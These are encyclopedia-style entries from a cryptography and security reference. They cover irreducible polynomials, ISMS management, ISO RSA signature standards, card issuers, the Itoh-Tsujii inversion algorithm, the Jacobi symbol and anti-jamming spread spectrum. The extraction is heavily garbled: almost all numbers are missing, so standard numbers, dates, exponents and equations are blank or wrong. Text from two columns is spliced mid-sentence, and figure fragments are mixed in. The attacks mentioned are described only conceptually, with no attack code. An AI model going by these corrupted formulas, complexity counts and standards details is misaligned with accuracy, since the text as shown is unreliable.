images. Image Vis Comput ():
. Kanski JJ () Clinical ophthalmology : a systematic approach. Denition
Butterworth-Heinemann/Elsevier, Edinburgh, New York A polynomial that is not divisible by any smaller polyno-
. Lee Y, Phillips PJ, Micheals RJ () An automated video-based mials other than trivial ones is an irreducible polynomial.
system for iris recognition. Proceedings of the third interna-
tional conference on advances in biometrics, June, Alghero,
Italy, Oct. , , pp
. Li P, Liu X, Xiao L, Song Q () Robust and accurate iris seg- Theory
mentation in very noisy iris images. Image Vis Comput (): Let f (x) be a polynomial

. Matey JR, Naroditsky O, Hanna K, Kolczynski R, LoIacono D,
Mangru S, Tinker M, Zappia T, Zhao WY () Iris on the f (x) = fd xd + fd xd + + f x + f ,
move: acquisition of images for iris recognition in less con-
strained environments. Proc IEEE ():
. Oyster CW () The human eye: structure and function.
where the coefficients f , . . . , fd are elements of a field F.
Sinauer Associates, Sunderland, USA If there is another polynomial g(x) over F with degree
. Proena H () On the feasibility of the visible wavelength, between and d such that g(x) divides f (x), then
At-A-Distance and On-The-Move iris recognition. IEEE sympo- f (x) is reducible. Otherwise, f (x)is irreducible. (Nonzero
sium series on computational intelligence in biometrics: theory,
polynomials of degree , i.e., nonzero elements of F,
algorithms, and applications, Nashville, Tennessee, USA, March
April , vol , p , ISBN:----. (invited
divide every polynomial so they are considered trivial
paper) factors.)
. Proena H, Filipe S, Santos R, Oliveira J, Alexandre LA () As an example, the polynomial x + over the finite
The UBIRIS.v: a database of visible wavelength iris images cap- field F is reducible since x + = (x + ) , whereas the
tured On-The-Move and At-A-Distance. IEEE T Pattern Anal
polynomial x + x + is irreducible.
Mach Intelligence, doi:./TPAMI..
. Sankowski W, Grabowskia K, Napieralskaa M, Zuberta M,
A representation of the finite field Fqd can be con-
Napieralski A () Reliable algorithm for iris segmentation structed from a representation of the finite field Fq together
in eye image. Image Vis Comput (): with an irreducible polynomial f (x) of degree d, for any
. Snell RS, Lemp MA () Clinical anatomy of the eye. Blackwell d, as the polynomial ring over Fq modulo the polynomial
Science, Malden, MA, USA
f (x). The polynomial f (x) defines the Extension Field.
. Tan T, Hea Z, Sun Z () Efficient and robust segmentation
of noisy iris images for non-cooperative iris recognition. Image
In the example just given, x + x + defines F over F as
Vis Comput (): F [x]/(x + x + ).
ISMS: A Management Framework for Information Security I
monitor, manage, and maintain effective information secu-

ISMS: A Management Framework rity. Like ISO , it is built on the Plan-Do-Check-Act
for Information Security process cycle model, as well as on the requirement for
continual improvement.
Angelika Plate An ISMS relates to the broader roles and responsibil-
Director, AEXIS Security Consultants, Bonn, Germany ities of an organization such as corporate social respon-
sibility, governance, and legal and regulatory obligations.
All these aspects need to be addressed due to the increas-
ing dependence of businesses on information systems and
Synonyms information and communication technologies.
Information security management system; ISO/IEC The ISMS is a risk-based specification designed to take
care of the information security aspects of corporate gover-
Denition nance, protection of tangible and non-tangible assets infor-
An ISMS (information security management system) is mation and legal and contractual obligations, as well as the
that part of the overall management system, based on wide range of threats to the organizations ICT systems and
a business risk approach, to establish, implement, oper- business processes.
ate, monitor, review, maintain, and improve information Applying the ISMS risk-management philosophy as
security. part of the businesss overall risk approach provides an
organization with the means to implement effective infor-
mation security management in compliance with the orga-
I
Background nizations objectives and business requirements.
The first publication of a standard for an ISMS appeared in
Several other standards have been developed to sup-
as a British Standard (BS) Part . BS Part
port the implementation of an ISMS:
was based on the idea to provide a management system for
the application of the information security controls con-
ISO/IEC contains a holistic set of information
tained in BS Part . After UK-internal revisions, both
security controls, which can be used to reduce the risks
standards were considered in ISO due to the large interest
identified in the risk assessment to an acceptable level.
these standards generated all over the world.
The controls address the different topics that need to be
After further improvements of these standards in the
considered to achieve consistent information security,
ISO revision process, in the year , the revised version
such as security aspects related to personnel, physi-
of BS Part was published as ISO/IEC , and the
cal security, security in operations and communica-
revised BS Part as ISO/IEC . Since then both
tions, access control, incident handling, and business
standards are frequently applied by plenty of organizations
continuity.
all round the world.
ISO/IEC provides explanation about how to
carry out a risk assessment and how to successfully
Theory implement the resulting controls to achieve overall
The ISMS standard ISO/IEC provides a founda- sound risk management. This International Standard
tion for designing and deploying a management system will only provide guidelines for an organization; it
for information security to prevent a variety of business- will not specify a particular methodology for informa-
threatening risks such as the following: tion security risk management. It is the organizations
responsibility to define an approach to risk manage-
Financial losses and damages
ment that is most suitable to their business.
Loss of the organizations intellectual capital and intel-
ISO/IEC specifies requirements for bodies pro-
lectual property rights
viding certification of information security manage-
Loss of market share
ment systems (see also Applications below). It is
Poor productivity and performance ratings
intended to ensure their creditability as well as their
Ineffective operations
competence to perform audits.
Inability to comply with laws and regulations
Loss of image and reputation
Other standards supporting the ISMS processes are also
ISO/IEC specifies the requirements and processes currently under development, for example, sector-specific
for enabling a business to establish, implement, review, standards that address the implementation of an ISMS for
I ISO CC Common Criteria
different business sectors. An overview of all these stan- management systems, such as QMS and ISMS and also
dards can be found in ISO/IEC ; this standard is pub- have combined audits.
licly available and can be downloaded at http://standards. Certification can help organizations
iso.org/ittf/PubliclyAvailableStandards/index.htm.
To have an independent review of their information
security arrangements
To prove to business partners that they are working
Applications
security
When implementing an ISMS, the organization first needs
To address requirements in RFPs or from current or
to have a clear understanding of why information secu-
future customers
rity is important and what should be achieved with the
ISMS. This means understanding how information secu- It is important to understand that the ISMS stan-
rity relates to its specific business objectives, taking into dard ISO/IEC is the only standard that is relevant
account the expectations of its customers, the financial for certification, all other supporting standards, such as
objectives of the organization, and any relevant regulatory ISO/IEC and ISO/IEC , are just guidelines
or legal requirements. that are intended to help implementing the ISMS but are
The organizations senior management needs to be in no form mandatory for certification.
actively involved in the decision-making processes con- There are currently more than , organizations that
cerning objectives, priorities and implementation time- have been certified, and overview of these can be found
frames. Senior management needs to actively support the under www.isocertificates.com. ISO has also pub-
leadership of ISMS activities and needs to provide neces- lished several ISO Focus papers and other magazines that
sary resources and to ensure that all ISMS personnel are highlight user experiences and further ideas in the area of
adequately trained. ISMS (www.iso.org/iso/magazines.htm).
As the ISMS processes and the controls selected to
achieve information security are all based on a risk assess- Recommended Reading
ment, the selection of a suitable risk-assessment approach . ISO/IEC :, Information technology Security tech-
and tools are critical to the ongoing effectiveness of an niques Information security management systems Require-
ISMS. The approach taken must be consistent with the cul- ments
ture of the organization concerning the management of . ISO/IEC :, Information technology Security tech-
niques Information security management Code of practice
other types of risk.
. ISO/IEC :, Information technology Security tech-
A successful ISMS implementation also requires follow niques Information security risk management
through from planning to operation. The selected controls . ISO/IEC :, Information technology Security tech-
need to be implemented based on the priorities that the niques Information security management systems Overview
risk assessment has identified and it is necessary that staff and vocabulary
is trained in the ISMS processes and controls.
It is inevitable that security incidents will occur and
that, from time to time, management reviews or audits
will detect nonconformities with ISMS standards, policies,
ISO CC Common Criteria
and procedures. When such circumstances arise, dont just
Common Criteria
take a tactical approach to solve the problem on an ad hoc
basis. Instead, use the ISMS. If procedures and processes
are found wanting, then improve them. For example, if
they do not support rapid response to a crisis, update them ISO Security
so that they will in future. Requirements for Cryptographic
Another important aspect of the ISMS standard is cer- Modules
tification, which can be achieved by organizations apply-
ing the ISMS standard. The certification model used for FIPS -
ISO/IEC is exactly the same as for a QMS (qual-
ity management system in accordance with ISO ) and
all the other management system standards, i.e., accred- ISO/IEC
ited certification with initial, surveillance, and recertifica-
tion audits. Therefore, it is also easy to combine several Common Criteria, From a Security Policies Perspective
ISO- Signature Standards I
signatures of the form () with encoding functions

ISO/IEC carefully chosen to thwart the aforementioned homomor-
phic attacks, even though a complete proof of security was
ISMS: A Management Framework for Information Secu- out of reach.
rity
Theory
ISO/IEC - [], initially published in , was the first
international standard for digital signatures. In this case,
ISO- Signature Standards the encoded message (m) contains the bytes of m inter-
spersed with redundancy from an error-correcting code.
Mehdi Tibouchi The encoding function is constructed to avoid homo-
Laboratoire dinformatique de lENS, Ecole normale morphic attacks []; for example, it ensures that c (m)
superieure, Paris, France is never a valid encoding for c mod N. The standard
could, thus, withstand cryptanalytic efforts for most of the
Related Concepts s []. However, successful attacks were published in
RSA Cryptosystem; Signature Encoding Signature [], which caused it to be withdrawn.
Scheme With the widespread availability of efficient cryp-
tographic hash functions, a second standard, ISO/IEC
- [], was published in . For long messages, it fea-
Denition
tures partial message recovery with an encoding function
I
The ISO Signature Standards are a series of standards
published by ISO for digital signatures using the RSA cryp- taking the following form:
tosystem. Each of these standards specifies an encoding (m) = 6A16 m[]hash(m)BC16
function such that the signature of a given message m
is computed as: where hash is a cryptographic hash function of fixed bit
/e
length kh , and m[] is a prefix of m long enough to ensure
= (m) mod N () that (m) is of full size. The recommended digest size kh
Moreover, these standards support message recovery, in was initially between and bits. This was shown to be
the sense that the message m, or at least a part of it, is insecure in []. The updated, currently valid standard,
embedded in (m) with some redundancy and can, thus, ISO/IEC -: [], mandates that kh , which
be recovered as part of signature verification. was eventually shown to be insecure as well in [].
This current version of ISO/IEC also standardizes
a more robust encoding function, PSS, which contrary to
Background all the previous encodings, is proved to be secure (unforge-
The first realization of digital signatures was proposed by able under chosen message attacks) in the random oracle
Rivest et al. [] as part of their seminal paper: a model [].
signer with RSA public key (N, e) signs a message m as
= m/e mod N.
Applications
This method is not really satisfactory, however, since
Despite its vulnerabilities, the ISO/IEC -: ad hoc
an adversary seeing (m, ) can produce valid signatures
encoding remains in widespread use. It is the signature
on many other messages: for example, (ce m, c ) is a
scheme used in such applications as the EMV specification
valid message-signature pair for any c mod N. This vul-
for credit card payment authentication.
nerability was exploited to forge certificates as early as the
mid-s []. In particular, this textbook RSA signa- Recommended Reading
ture scheme does not satisfy what is now recognized as the . Bellare M, Rogaway P () The exact security of digital sig-
proper security notion for signatures, namely, existential natures how to sign with rsa and rabin. In EUROCRYPT, pp
unforgeability under chosen message attacks, as introduced
by Goldwasser et al. []. . Coppersmith D, Coron J-S, Grieu F, Halevi S, Jutla CS, Naccache
D, Stern JP () Cryptanalysis of iso/iec -. J Cryptol
Some signature schemes provably secure in this strong
():
sense were constructed in the s, but they were . Coron J-S, Naccache D, Stern JP () On the security of
extremely inefficient. To achieve this level of security in rsa padding. In: Wiener MJ (ed) CRYPTO. Lecture notes in
a practical manner, it was proposed to use padded RSA Computer Science, vol . Springer, pp
I Issuer
. Coron J-S, Naccache D, Tibouchi M, Weinmann R-P () . www.gsmworld.com

Practical cryptanalysis of iso/iec - and emv signatures. . www.mobeyforum.org
In: Halevi S (ed) CRYPTO. Lecture notes in Computer Science,
vol . Springer, pp
Comput (): ItohTsujii Inversion Algorithm
. Guillou L-C, Quisquater J-J, Walker M, Landrock P, Shafer C
() Precautions taken against various potential attacks in
Jorge Guajardo
ISO/IEC DIS . In EUROCRYPT, pp
. ISO/IEC - () Information technology Security
Bosch Research and Technology Center North America,
techniques Digital signature schemes giving message recov- Pittsburgh, USA
ery Part : Mechanisms using redundancy. ISO, Geneva,
Switzerland
. ISO/IEC - () Information technology Security Denition
techniques Digital signature schemes giving message recov- Originally introduced in [], the Itoh and Tsujii algorithm
ery Part : Mechanisms using a hash function. ISO, Geneva, (ITA) is an exponentiation-based algorithm for inversion
Switzerland
in finite fields which reduces the complexity of comput-
. ISO/IEC -: () Information technology Security
techniques Digital signature schemes giving message recov-
ing the inverse of a nonzero element in Fn , when using a
ery Part : Integer factorization based mechanisms. ISO, normal basis representation, from n multiplications in
Geneva, Switzerland Fn and n cyclic shifts using the binary exponentia-
. Misarsky J-F () How (not) to design rsa signature schemes. tion method to at most log (n ) multiplications in
In: Imai H, Zheng Y (eds) Public key cryptography. Lecture
Fn and n cyclic shifts. As shown in [], the method
notes in computer science, vol . Springer, pp
. Rivest RL, Shamir A, Adleman LM () A method for obtain-
is also applicable to finite fields with a polynomial basis
ing digital signatures and public-key cryptosystems. Commun representation.
ACM ():
Related Concepts
It is a well-known fact that there are several possibilities
to represent elements of a finite field. In particular, given
Issuer an irreducible polynomial P(x) of degree m over Fq and
a root of P(x) (i.e., P() = ), one can represent an
Marijke De Soete element A Fqm , q = pn and p prime, as a polynomial
SecurityBiz, Oostkamp, Belgium in , i.e., as A = am m + am m + + a + a
with ai Fq . The set {, , , . . . , m } is then said to
Denition be a polynomial basis (or standard basis) for the finite
In card retail payment schemes and electronic commerce,
field Fqm over Fq (extension field). Another type of basis
there are normally two parties involved in a payment trans-
is called a normal basis. Normal bases are of the form
action: a customer and a merchant. The issuer is the bank of m
{, q , q , . . . , q } for an appropriate element Fqm .
the customer. In other words, the financial institution that
Then, an element B Fqm can be represented as B =
makes payment cards available to customers (cardholders), m m
bm q + bm q + + b q + b , where bi Fq .
authorizes transactions at POS terminals or ATMs and
It can be shown that for any field Fq and any extension
guarantees payment to the acquirer for transactions that
field Fqm , there exists always a normal basis of Fqm over
are in conformity with the rules of the relevant payment i k i+k
scheme. Fq (see [, Theorem .]). Notice that ( q )q = q =

i+k mod m m
In more general terms, an issuer is used in the con- q which follows from the fact that q . Thus,
text of service providers. It indicates the party that is raising an element B Fqm to the qth power can be eas-
responsible for the application related to the service which ily accomplished through a cyclic shift of its coordinates,
m m q
distributes it, possibly on a token, to the customer. Exam- i.e., Bq = (bm q + bm q + + b q + b ) =
ples are mobile network operators issuing SIMs/UICCs, m m
bm q + bm q + + b q + bm in a normal
governments issuing e-ID cards and passports, etc.
basis representation. This follows by applying the binomial
theorem repeatedly and the fact that if Fq is a field of prime
Recommended Reading
. www.ecb.europa.eu
. www.emvco.com
Work done while the author was at Philips Research,
. www.europeanpaymentscouncil.eu The Netherlands
ItohTsujii Inversion Algorithm I
characteristic p, (A + B)p Ap + Bp for all A, B Fq , where the following addition chain:

q = pn .
Before describing the Itoh and Tsujii algorithm, it is A A = A

beneficial to understand how the inverse would be com-
(A ) A = A
puted via an exponentiation algorithm. In particular, it
can be shown that for all A Fn , A , one can
(A ) A = A
compute A as

n n (A ) A

=A

A A = A A A

(A ) =A
which follows from a generalization of Fermats little theo-
rem. This requires n multiplications and n squarings
using the binary method for exponentiation. Notice that A quick calculation verifies that = . Notice
if A is an element of a field of characteristic two (finite that in accordance with Algorithm , four multiplications
field), squaring is a linear operation. Moreover, if a normal in F have been performed and, if using a normal basis
basis is being used to represent the elements of the field, representation, = cyclic shifts would also be required
squaring (A ) for any A Fn can be computed with one to complete the computation.
cyclic shift. Algorithm can be generalized to any value of n []. To
see this, write n as
Theory t
I
Itoh and Tsujii proposed in [] three algorithms. ki
n = , where k > k > > kt ()
The first two algorithms describe addition chains for i=
exponentiation-based inversion in fields Fn , while the

Then, using the fact that A (A ) and (), it can
n
third one describes a method based on subfield inversion.
The first algorithm is only applicable to values of n such be shown that the inverse of A can be written as:
that n = r + , for some positive r, and it is based on
the observation that the exponent n can be rewrit-

ten as (n ) . Thus if n = r + , it follows that
n
k t k t

(A ) = (A ) (A )
A (A
r

) . Furthermore, rewriting as
r

r r r r kt
= ( ) + ( ) () k

k
k

(A
k

one obtains Algorithm . Notice that Algorithm performs ) (A ) ()

r = log (n ) iterations. In every iteration, one multipli-
cation and i cyclic shifts, for i < r, are performed which

leads to an overall complexity of log (n) multiplications
and n cyclic shifts. An important feature of () is that in computing A
k

all
k i

other quantities of the form A for ki < k have been

Algorithm Multiplicative inverse computation in Fn
computed. Thus, the overall complexity of () is:
with n = r + [, Theorem ]
Input: A Fn , A , n = r + #MUL = log (n ) + HW(n )
Output: C = A
#CSH = n ()
CA
for i = toi r do
where HW() denotes the Hamming weight of the
D C {NOTE: i cyclic shifts}
operand, i.e., the number of ones in the binary repre-
C CD
sentation of the operand (cyclic codes), MUL refers to
C C
multiplications in Fn , and CSH refers to cyclic shifts over
Return (C)
F when using a normal basis.
Example Let A F , A . Then according to (),
Example Let A F , A . Then according to Algo- one can write n as = + + , where k = , k = ,

rithm Algorithm , the inverse A can be computed with and k = and A A can be computed with the
I ItohTsujii Inversion Algorithm
following addition chain: can be minimized by using the addition chain in (). Thus,

computing Ar requires []:

A = A A

#MUL = log (m ) + HW(m )
A = (A ) A

#q-EXP = m ()

A = (A ) A
where q-EXP refers to the number of exponentiations to

A = (A ) A the qth power in Fq .

Example Let A Fq , A , q = pn for some prime
A = A (A (A ) )
p. Then, using the q-adic representation of r from ()
and the addition chain from (), one can find an addition

The above addition chain requires multiplications and chain to compute Ar = Aq +q ++q +q as follows. First,
cyclic shifts which agrees with the complexity of (). one writes m = = + where k = , and k = . Then,
q

+q ++q +q
+q
In [], the authors also notice that the previous ideas Ar = (Aq ) (Aq ) and one can compute
can be applied to extension fields Fqm , q = n . Although A q +q ++q +q

as
this inversion method does not perform a complete inver-
sion, it reduces inversion in Fqm to inversion in Fq . It is q
assumed that subfield inversion can be done relatively eas- Aq = (Aq )
ily, e.g., through table look-up or the extended Euclidean Aq

+q
= Aq Aq

algorithm. These ideas are summarized in Theorem . The i q

+q +q
presentation here follows [], and it is slightly more gen- Ai= q = (Aq ) Aq
eral than [] as a subfield of the form Fn is not required, q
qi
qi
qi
rather general subfields Fq are used. Ai= = (Ai= ) Ai=
q
Theorem [, Theorem ] Let A Fqm , A , and i
Ai= q = (Ai= q ) (Ai= q )
i i
r = (qm )/(q ). Then, the multiplicative inverse of an

element A can be computed as
Notice that in computing Aq +q ++q +q , one has also

A = (Ar ) Ar . ()
computed Aq +q . The complexity to compute Ar (and,

Computing the inverse through Theorem requires thus, the complexity to compute A if the complexity
four steps: of multiplication and inversion in Fq can be neglected)
in Fq is found to be multiplications in Fq and
Step Exponentiation in Fqm , yielding Ar .
exponentiations to the qth power in agreement with ().
Step Multiplication of A and Ar , yielding Ar Fq .
Step Inversion in Fq , yielding (Ar ) . In their work, Itoh and Tsujii [] assume a normal basis
Step Multiplication of (Ar ) Ar . representation for the field elements of Fqm , q = n . In this
case, the exponentiations to the qth power are simply cyclic
Steps and are computational negligible since both Ar , in
shifts of the m coefficients that represent an individual field
Step , and (Ar ) , in Step , are elements of Fq []. Both
element. In polynomial (or standard) basis, however, these
operations can, in most cases, be performed with a com-
exponentiations are, in general, considerably more expen-
plexity that is well below that of one single extension field
sive. Guajardo and Paar [] take advantage of finite field
multiplication. The complexity of Step , subfield inver-
properties and of the algorithm characteristics to improve
sion, depends heavily on the subfield Fq . What remains is
on the overall complexity of the ITA in polynomial basis.
Step , exponentiation to the (r )th power in the exten-
In particular, the authors make use of two facts: () the
sion field Fqm . Observe that the exponent can be expressed
algorithm performs alternating multiplications and several
in q-adic representation as
exponentiations to the qth power in a sequential manner
r = qm + + q + q = ( )q () and () raising an element A Fq , q = pn , to the qe th power
is a linear operation in Fqm , since q is a power of the field
Thus, this exponentiation can be computed through characteristic.
e
repeated raising of intermediate results to the qth power In general, computing Aq has a complexity of m(m)
and multiplications. The number of multiplications in Fqm multiplications and m(m ) + = (m ) additions
ItohTsujii Inversion Algorithm I
in Fq []. This complexity is roughly the same as one ESP is a polynomial of the form xsm +xs(m) +xs(m) +
Fqm multiplication, which requires m subfield multiplica- + xs + xs + .
tions if one does not assume fast convolution techniques
The ITA has found applications in cryptography. Early
(e.g., the Karatsuba algorithm for multiplication). How-
e applications of the algorithm to the cryptographic set-
ever, in polynomial basis representation computing Aq ,
ting are described in [], where fields of binary charac-
where e > , can be shown to be as costly as a single
teristic are used. However, even characteristic composite
exponentiation to the qth power. Thus, [] performs as
fields have been found to be weak and are generally not
many subsequent exponentiations to the qth power in one
longer recommended for cryptographic applications. On
step between multiplications as possible, yielding the same
the other hand, the ITA remains an attractive choice for the
multiplication complexity as in (), but a reduced number
computation of the inverse in odd characteristic fields and,
of qe -exponentiations. This is summarized in Theorem .
in particular, in optimal extension fields []. Recently,
Theorem [ Theorem ] Let A Fqm . One can compute Rodrguez-Henrquez et al. [] have shown that the Itoh
Ar , where r = q + q + + q(m) with no more than and Tsujii inversion algorithm is amenable to paralleliza-
tion as well, by expressing the addition chain in terms
#MUL = log (m ) + HW(m )
of square root operations instead of squarings. For irre-
#qe -EXP = log (m ) + HW(m ) ducible trinomials P(x) = xm + xk + , with m and k
operations, where #MUL and #qe -EXP refer to multipli- odd numbers, the square root operation is particularly effi-
cations and exponentiations to the qe th power in Fqm , cient (simpler than a squaring operation) and therefore the
respectively. overall inversion computation benefits. I
It should be stressed that Theorem is just an upper Recommended Reading
bound on the complexity of this exponentiation. Thus, . Bailey DV, Paar C () Efficient arithmetic in finite field exten-
it is possible to find addition chains which yield better sions with application in elliptic curve cryptography. J Cryptol
complexity as shown in []. Finally, observe that from ():
Theorem , it follows that Step of the ITA algorithm . Chung JW, Sim SG, Lee PJ () Fast implementation of elliptic
curve defined over GF(pm ) on CalmRISC with MAC copro-
requires about as many exponentiations to the qe th power
cessor. In: Ko K, Paar C (eds) Workshop on cryptographic
as multiplications in Fqm if a polynomial basis representa- hardware and embedded systems CHES . Lecture notes
tion is being used. in computer science, vol . Springer, Berlin, Aug ,
pp
Optimizations and Applications . Guajardo J, Paar C () Efficient algorithms for elliptic curve
cryptosystems. In: Kaliski Jr B (ed) Advances in Cryptology
In the previous section, it has been shown that raising an
CRYPTO . Lecture notes in computer science, vol .
element A Fqm to the qe th power can be computation- Springer, Berlin, Aug , pp
ally roughly as costly as performing one multiplication in . Guajardo J, Paar C (Feb ) Itoh-Tsujii inversion in standard
Fqm . Hence, if it is possible to make exponentiations to basis and its application in cryptography and codes. Des Codes
the qe th power more efficient, considerable speedups of Cryptogr ():
. Itoh T, Tsujii S () A fast algorithm for computing multi-
the algorithm can be expected. Three classes of finite fields
plicative inverses in GF( m ) using normal bases. Inf Comput
are introduced in [] for which the complexity of these :
exponentiations is in fact substantially lower than that of . Lidl R, Niederreiter H () Finite fields. Encyclopedia of
a general multiplication in Fqm . These are: mathematics and its applications, nd edn. vol . Cambridge
University Press, Cambridge
Fields Fnm with binary field polynomials. . Rodrguez-Henrquez F, Morales-Luna G, Saqib NA, Corts NC
Fields Fqm , q = pn and p an odd prime, with binomials () Parallel Itoh-Tsujii multiplicative inversion algorithm for
as field polynomials. a special class of trinomials. Des Codes Cryptogr ():
Fields Fqm , q = pn and p an odd prime, with binary
equally spaced field polynomials (ESP), where a binary
J
Recommended Reading
Jacobi Symbol . Ireland KF, Rosen M () A classical introduction to modern
number theory, vol . Graduate texts in mathematics. Springer,
Burt Kaliski Berlin.
MA, USA
Jamming Attack Defense
Related Concepts
Legendre Symbol; Quadratic Residue; Quadratic Wenyuan Xu
Residuosity Problem Department of Computer Science and Engineering,
University of South Carolina, SC, Columbia
Background
The Jacobi symbol was introduced by C.G.J. Jacobi in . Synonyms
Anti-jamming strategy; Radio interference attack defense
Definition Related Concepts
The Jacobi symbol of an integer x modulo an odd posi-
Communication Systems; Denial of Service Attack
tive integer n is the product of the Legendre symbols of x
modulo each (possibly repeated) prime factor of n. Definition
Jamming attack defense is a measure performed by wireless
Theory devices to ensure that information can be transmitted and
The Jacobi symbol generalizes the Legendre symbol to all received correctly despite deliberate jamming attempts.
odd integers. Let n be an odd, positive integer with prime The jamming attack defense can be implemented in hard-
factorization ware or software forms.
n = pa pa pak k ,
Background
where the prime numbers p , . . . , pk are distinct, and let Spread spectrum techniques are the earliest known anti-
x be an integer. The Jacobi symbol of x modulo n, denoted jamming countermeasures and come in many forms.
( nx ) equals the product of Legendre symbols of x with Among all forms, frequency-hopping is the first invention.
respect to each of the primes (counting repeats): In the early twentieth century, Nikola Tesla touched on
x x x
a a
x k
a the concept of frequency hopping in his US Patent
( )=( ) ( ) ( ) . , and US Patent ,. These patents involve
n p p pk
altering the carrier frequency or other exclusive charac-
If n is prime, then the Jacobi symbol is the same as the teristics to achieve immunity to interference. Frequency
Legendre symbol. hopping is also mentioned by radio pioneer Johannes
The Jacobi symbol may be computed efficiently even Zenneck in his book Wireless Telegraphy (German, ,
when the prime factorization of n is unknown by the English translation McGraw Hill, ), by a Polish engi-
Quadratic Reciprocity Theorem, a fact that was proved by neer, Leonard Danilewicz, in , and by several others
Gauss (see Chap. of []). in various patents. One of the best known patents is by
actress Hedy Lamarr and composer George Antheil in
Applications , US Patent ,,. It was intended to supply secret
The Jacobi symbol is employed in some primality tests. communication updating torpedo tracking systems via the
It also occurs in relation to the Quadratic Residuosity use of frequency hopping radio. The patent was gifted to
Problem. the USA and classified.
J Jamming Attack Defense
Spread spectrum systems were used by the US gov- a wide frequency band, much wider than the minimum
ernment to guarantee communication security and ability bandwidth required to transmit the signal. For instance, a
to withstand jamming, with continued classified research spread spectrum system takes a narrowband signal with
into the subject matter. During World War II, spread a bandwidth of a few kiloHertz and distributes it over
spectrum techniques were applied by the US Army Sig- a wideband that is many megaHertz wide by modulat-
nal Corps in a communication system called SIGSALY ing it with a special sequential of noise-like signal struc-
for communication between Roosevelt and Churchill, but ture, a pseudorandom sequence. To retrieve the original
due to its top secret nature, SIGSALYs existence did not information signal, the receiver demodulates the received
become known until the s. To this day many military signals using the same sequence. As the result of spread-
applications of the technology are still classified. ing and de-spreading operation, the signal-to-noise ratio
In , Spread Spectrum Systems, by Robert Dixon, on the channel is enhanced and the effect of jamming is
sparked commercial interest in the technology. Initial reduced. This is because the de-spreading is accomplished
commercial use of spread spectrum began in the s in by correlating the received spread spectrum with the same
the US with three systems []: Equatorial Communica- sequence. When the two signals are matched, the desired
tions Systems very small aperture (VSAT) satellite terminal signal collapses to its original bandwidth before spread-
system for newspaper newswire services; Del Norte Tech- ing, whereas any unmatched input (the jamming signal)
nologys radionavigation system for navigation of aircraft is spread to the wideband. A filter then rejects all but the
for crop dusting and similar applications; Qualcomms desired narrowband signal. The resulting effect of enhanc-
OmniTRACS system for communications to trucks. In ing signal-to-noise ratio on the channel is called process
, the Federal Communications Commission passed gain (Fig. ).
CFR . [], which allowed non-licensed [] use of Depending on the methods that spread the nar-
spread spectrum systems in the , ,,., rowband signal, spread spectrum techniques can be
and ,, MHz bands. The technologies that use divided into the following varieties: frequency-hopping
spread spectrum in these bands include Wi-Fi, Bluetooth, spread spectrum (FHSS), direct-sequence spread spec-
cordless telephones, and G networks. trum (DSSS), time-hopping spread spectrum (THSS),
The spread spectrum techniques are typically imple- chirp spread spectrum (CSS), and combinations of these
mented in hardware, and the level of resilience to radio techniques. Among them, FHSS, DSSS, and the combina-
interference is determined when the radio hardware was tion of those two provide better jamming resistance.
designed. Starting in the early twenty-first century, effort Frequency-hopping spread spectrum (FHSS). Frequency
has been devoted to design defense strategies that can hopping systems rapidly hop its carrier from frequency
react to the jamming attacks and provide protection that to frequency among, possibly, thousands of frequen-
are implemented in the link layer and layers above. The cies. The specific order of frequencies that the hopper
link layer defense involves using channel adaption, error switches through are a pseudorandom sequence known to
correction code, and covert timing channels. both transmitter and receiver, and the rate of frequency
hopping is a function of the information rate, the amount
of redundance used, if any, and the distance to the nearest
Theory and Applications potential jammer. The challenge of FHSS is to synchro-
Jamming attack defense can be divided into two cate- nize the hopping sequence at both the transmitter and the
gories. One is measures implemented in the physical layer receiver (Fig. ).
(Network Protocol Stack) and the other is measures imple- FHSS is robust to the narrowband jamming sig-
mented in the link layer and layers above (Network Proto- nal, because the jamming signal will be effective only
col Stack). Typically, the physical layer defense strategies when the hopper happens to hop to that frequency.
are proactive, and the ones in the link layer and layers For instance, if a transmitter switches its frequency ran-
above are reactive defense. domly over a maximum of , channels, it will see
the jamming signal .% of the time. Alternatively,
Jamming Attack Defense in the Physical if the jamming signal spread over the whole , chan-
Layer nel or the jamming signal follows each frequency hop, then
Spread spectrum techniques are considered the physical the frequency hopping techniques are no longer robust
layer defense. It provides many appealing features, and one to those jamming attacks. Thus, in some sense the fre-
of them is the resistance to jamming. The idea of spread quency hopping techniques make it harder for jammers to
spectrum system is to transmit signal by spreading it over be effective (Fig. ).
Jamming Attack Defense J
Input Output
data Channel Balanced Balanced Channel data
encoder modulator modulator decoder
Spreading Spreading
code code
Pseudnumber Pseudnumber
generator generator
Jamming Attack Defense. Fig. General model of spread spectrum system
5 7 3 8 2 4 6 1 f1
f2
Frequency
f3
Energy
f4
f5
f6
f7
f8
f1 f2 f3 f4 f5 f6 f7 f8 Time
a Frequency b J
Jamming Attack Defense. Fig. Illustration of frequency hopping on eight channels (a) channel assignment (b) channel usage
over time
Direct-sequence spread spectrum (DSSS) Direct-

sequence spread-spectrum systems multiply the narrow-
band signal to be transmitted by a noise signal. This noise
signal is a pseudorandom sequence of and values,
at a frequency much higher than that of the original sig-
nal, thereby spreading the energy of the original signal
into a much wider band. The resulting signal resembles
white noise. However, this noise-like signal can be used
to exactly reconstruct the original data at the receiving
end, by multiplying it by the same pseudorandom (PN) Jamming Attack Defense. Fig. A spectrum analyzer photo
sequence (because = , and = ). This of FHSS signal []
process, known as de-spreading, mathematically consti-
tutes a correlation of the transmitted PN sequence with the
PN sequence that the receiver believes the transmitter is emit pulse signals with the peak power much higher than
using. For de-spreading to work correctly, the transmit and the constant power, and adopt a % duty cycle pulse which
receive sequences must be synchronized. This requires the is adequate for effective jamming [] (Fig. ).
receiver to synchronize its sequence with the transmitters Time-hopping spread spectrum (THSS) Time hopping
sequence via some sort of timing search process (Fig. ). systems use the pseudorandom sequence to control the
The de-spreading mechanism reduces the jamming transmitter on and off. This form of spread spectrum mod-
signal power and makes the DSSS techniques resistance to ulation is mainly applied in combination with frequency
many types of jamming attacks. However, DSSS can only hopping, such as in the RACEP systems developed by Mar-
defense certain jamming attacks. A jammer that transmit tin Marietta Corp. Time hopping by itself is not effective in
continuous signals can defeat the DSSS system by increas- coping with jamming attacks, unless it is combined with
ing its jamming power high enough to overcome the pro- frequency hopping to prevent single frequency interfer-
cessing gain in the receiver. Alternatively, a jammer can ence from causing significant communication disturbance.
Spectrum
Frequency
Data bits Transmitted signal
Code
Jamming Attack Defense. Fig. An illustration of DSSS
1.5
0.5
0.5
Jamming Attack Defense. Fig. A spectrum analyzer photo

of DSSS signal [] 1
1.5
0 1000 2000 3000 4000 5000
